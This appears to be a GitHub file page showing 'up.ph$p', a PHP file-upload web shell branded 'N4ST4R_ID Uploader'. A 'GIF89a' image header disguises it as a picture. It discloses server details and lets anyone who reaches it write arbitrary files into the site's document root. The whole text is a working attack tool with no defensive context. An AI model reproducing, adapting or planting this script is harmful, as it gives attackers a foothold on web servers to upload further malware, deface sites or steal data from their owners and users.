-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathup.ph$p
31 lines (31 loc) · 927 Bytes
/
up.ph$p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GIF89a;
<?php
echo "<br>";
echo "N4ST4R_ID Uploader";
echo "<br>";
echo "<b>".php_uname()."</b><br>";
echo "<b>'".__DIR__."'</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "MANTUL MZZ >> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo ">:D";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Terupload <b>$files</b> di folder ini";
} else {
echo ">:D";
}
}
}
?>